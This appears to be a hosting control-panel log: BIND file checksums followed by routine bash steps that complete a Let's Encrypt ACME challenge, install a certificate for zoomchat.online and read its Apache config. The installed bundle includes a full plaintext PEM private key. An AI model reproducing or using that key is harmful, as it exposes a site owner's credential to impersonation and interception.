MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= a3d92972abbb369edf3baf47c3e33e8b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-10-22 12:29:36: Establishing a connection
2025-10-22 12:29:38: Establishing a connection
2025-10-22 12:29:39: 

PUT: /tmp/pkp987711

#!/bin/bash
if [ -d "/var/www/zoomchat_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-10-22 12:29:40: 

chmod 755 /tmp/pkp987711; /tmp/pkp987711; rm /tmp/pkp987711

2025-10-22 12:29:40: 


1


2025-10-22 12:29:41: Establishing a connection
2025-10-22 12:29:42: 

PUT: /tmp/pkp614897

#!/bin/bash
mkdir -p "/var/www/zoomchat_www/.well-known/acme-challenge/"
cd "/var/www/zoomchat_www/.well-known/acme-challenge/"
cat > g_QlwgZMkGEfiqY6lx-M5Vy0Vsyvgpdfe6eRVyzw4ek <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
g_QlwgZMkGEfiqY6lx-M5Vy0Vsyvgpdfe6eRVyzw4ek.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 g_QlwgZMkGEfiqY6lx-M5Vy0Vsyvgpdfe6eRVyzw4ek


2025-10-22 12:29:43: 

chmod 755 /tmp/pkp614897; /tmp/pkp614897; rm /tmp/pkp614897

2025-10-22 12:29:44: 




2025-10-22 12:29:49: Establishing a connection
2025-10-22 12:29:50: 

PUT: /tmp/pkp721435

#!/bin/bash
mkdir -p "/var/www/zoomchat_www/.well-known/acme-challenge/"
cd "/var/www/zoomchat_www/.well-known/acme-challenge/"
rm g_QlwgZMkGEfiqY6lx-M5Vy0Vsyvgpdfe6eRVyzw4ek


2025-10-22 12:29:51: 

chmod 755 /tmp/pkp721435; /tmp/pkp721435; rm /tmp/pkp721435

2025-10-22 12:29:51: 




2025-10-22 12:29:51: Establishing a connection
2025-10-22 12:29:52: 

PUT: /tmp/pkp274210

#!/bin/bash
temp_file=$(mktemp)
TARGET=842c702c1ca7114dc2c211c70793b244.crt

cat > $temp_file <<'endmsg'
88:ae:58:fd:81:7f:fa:68:5c:91:f2:c0:58:4c:c2:eb

-----BEGIN CERTIFICATE-----
MIIFDjCCA/agAwIBAgISBmA2Wyxj6M8RFeVWySr6EJmaMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMDIyMTEzMTE2WhcNMjYwMTIwMTEzMTE1WjAaMRgwFgYDVQQD
Ew96b29tY2hhdC5vbmxpbmUwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQC+q5gDk71L9JuIeLo439+mWe6vXQGr/fdr/R6A1ivwmmuOKp8Ju1+roPK/YY9R
F91YWxls8aq2IvlcUKKAOLVqriHZbAbZ0rdduTp/oeOivIGs04VTFRyjPLCsS2GX
fwuyV6En4K5WNiFEppg+o6dlYgeBsKUl55n0UeyZpQUy7bONZjitjcc+2MqT3VPH
QxQ3+AQGQykIHt8PjqCcL0pHbGk2cPScuDDwQ7viqy6R2kHJ8B3EjU+ot/uekJ9b
tXRLV4or+pwdnahqadar+yJBRMuiux65MbcuIwrdCq+TkW23QXcbhuHbIrPYyRrN
xZ0c94o2VnXEgmHV7gVClQm5AgMBAAGjggIzMIICLzAOBgNVHQ8BAf8EBAMCBaAw
HQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYD
VR0OBBYEFNDY7OaFbCEzdu0Qe1KBT//Rp9QmMB8GA1UdIwQYMBaAFOernw8sM6BT
015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDov
L3IxMy5pLmxlbmNyLm9yZy8wLwYDVR0RBCgwJoITd3d3Lnpvb21jaGF0Lm9ubGlu
ZYIPem9vbWNoYXQub25saW5lMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQn
MCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMjcuY3JsMIIBAwYKKwYB
BAHWeQIEAgSB9ASB8QDvAHUADleUvPOuqT4zGyyZB7P3kN+bwj1xMiXdIaklrGHF
TiEAAAGaC+WVowAABAMARjBEAiA0el1Raa6a+LhZRxV4I7oeu8alJ8DstylL4ZWP
zi72twIgV02g+vnTTdZspMw8IkgrcLyTP2Re83oRbWcD7S51E64AdgBkEcRspBLs
p4kcogIuALyrTygH1B41J6vq/tUDyX3N8AAAAZoL5Z1tAAAEAwBHMEUCIAw0ARVK
cJuNJ7BXpD+0VfZsmxZiQ/j8sWVMqrHtl8pLAiEApqsdO9iB3VlJxZT0AQ1tpZYG
LuthvxrbygwhUu0vyVwwDQYJKoZIhvcNAQELBQADggEBAFvlys3axHqnx4nl71BL
wwZfc2XLaZNJprIyOEeth10lXQZzYUq6vVa5bkpblPlJ9quzvH5FP68fwkcnWZz2
a7DEEgU6btTphwIXlolq8MYHQjxW2r65/iP310RRkv9+zLChE11pnary9aXUZ+qk
GtY67c1PTcyeWpSJxFpPloUgMqEdR5qhfCnNX9hA3ush+5olW+HwME/xX4n47jgQ
+IC7Dnzaecp+iKXU5B/fBojCRH5cpKwciYIeEOw8mMDaXWqIeUllA0YlDKCnE66u
pNjjjnuw12pRcY/QD8MfKcb3iT2NkCyLTRwZAchxjcg0gknVRFyyxspu+afxAW2n
Qvg=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEwAIBADANBgkqhkiG9w0BAQEFAASCBKowggSmAgEAAoIBAQC+q5gDk71L9JuI
eLo439+mWe6vXQGr/fdr/R6A1ivwmmuOKp8Ju1+roPK/YY9RF91YWxls8aq2Ivlc
UKKAOLVqriHZbAbZ0rdduTp/oeOivIGs04VTFRyjPLCsS2GXfwuyV6En4K5WNiFE
ppg+o6dlYgeBsKUl55n0UeyZpQUy7bONZjitjcc+2MqT3VPHQxQ3+AQGQykIHt8P
jqCcL0pHbGk2cPScuDDwQ7viqy6R2kHJ8B3EjU+ot/uekJ9btXRLV4or+pwdnahq
adar+yJBRMuiux65MbcuIwrdCq+TkW23QXcbhuHbIrPYyRrNxZ0c94o2VnXEgmHV
7gVClQm5AgMBAAECggEBAJU8+d7S5HdvHc3TsO6TTBqIian4wjY8skxz8kwlVn8c
XtMHyTN01Y0gjN//HI38f+OIan47KcMl3MfE1WxG9rhpU1U6mKIlrCBPutnrfKED
qvv7E3/UJnYeKqqw1dIePql4rUrpMYuJEsEJJGDi90MDV5zLBniErpvtA6O+5jLV
QLVWp3bT6n4yb9ZnSe8vd8O/hQfjecJ4VLFgw0lgaOfxezlFF1gOcYNYH7/FL8TQ
zjEfyufbvprYu/fvexeZZ54tiW97+ffiHExggi4M5kPGABiYmkG6QprneboIG/+3
voUdv6i2kzJhbTknPvyqt/GuTiFgCDSTr6hlYhSwNgECgYEA3xOP+gs9oUo04e7l
t3/eRmisbEKLlV5NCkV8SF+VGDdaEcSrNjfSI9pZpSEqJMGCQA4/4B4YHAoUPhY4
oBAFrNwQ1YE3RcpVoLxzQ+5+X2FE4aBysOK9ltPVKKse4o5qDcc2+BpeBAU2mInl
OKfB3IktRDJobq2t/jD0UtURuEUCgYEA2s+jorLx6xhts0KizsqzV4kSDot1xZ61
xJxzLgZyBPxL+kkMFrkILeUoW07Qfd3BeVbY+/mg7WX9N/CSMWgC08YMN6LpI5nj
ekWx1E3w6/6Z2JvKpo9I025gTk4E7HEsLLB/sUcoP4cWRQReF/KzzJKkGyMpEa+u
/4gf0CljpOUCgYEAtmrw2bBHfZWJGRiakSvnP/xowz7HliW/Kh8YOrau3VamONFy
kKulE9yCYh50sAnt0SPV6Bez73nug7b4Jyvy+CAdQ/qekFudGgwA1hQ5ExYflcH3
B97i2mvva4pDf1CmOQ4nTUuChhcdRi+9Wk8UoJssgRAXhipQlgTCRtol22ECgYEA
1ReB9ODwWFPiAcHTbDBbl9QVkbSfbWWy/1adlSURxWkvVP/ulfJ81LVnKAUJZoqf
8NtzVXE2F/xLLj9LIHJ6zmMBYu10vwcPUfStymRdTHcWvKx8HtlLwxyrDZdNlDZj
HuKEeNEjkTqtpWkreYcTMxdcWlFTnbXKZ3DaCo9ES0ECgYEA1J9iAzeuvAZpB82/
1V2A1C4GwJkBsqHNv1dwUwt5xm4W+0LR6YVTBv6LuWDNWfI0O2UaYlpve6eR+jUp
ZXMSJ8lJOehdm4PrkJhCWtPeZiNQcau88jEJorxUFlX8WkB1UbibN6DGft3nHpPb
4/HQ6Lba/PEA+jmjB+KoSfsHlP4=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-10-22 12:29:53: 

chmod 755 /tmp/pkp274210; /tmp/pkp274210; rm /tmp/pkp274210

2025-10-22 12:29:53: 


dir=/etc/pki/tls/certs/


2025-10-22 12:29:54: 

PUT: /tmp/pkp935279

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/httpd
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/httpd/conf.d/zoomchat_www_online.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-10-22 12:29:54: 

chmod 755 /tmp/pkp935279; /tmp/pkp935279; rm /tmp/pkp935279

2025-10-22 12:29:54: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/httpd/conf.d/zoomchat_www_online.conf 1809

<VirtualHost *:80>
    ServerName	zoomchat.online
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.zoomchat.online
    DocumentRoot	/var/www/zoomchat_www
    <Directory /var/www/zoomchat_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    CustomLog	/var/log/httpd/zoomchat/www_access.log combined
    ErrorLog	/var/log/httpd/zoomchat/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

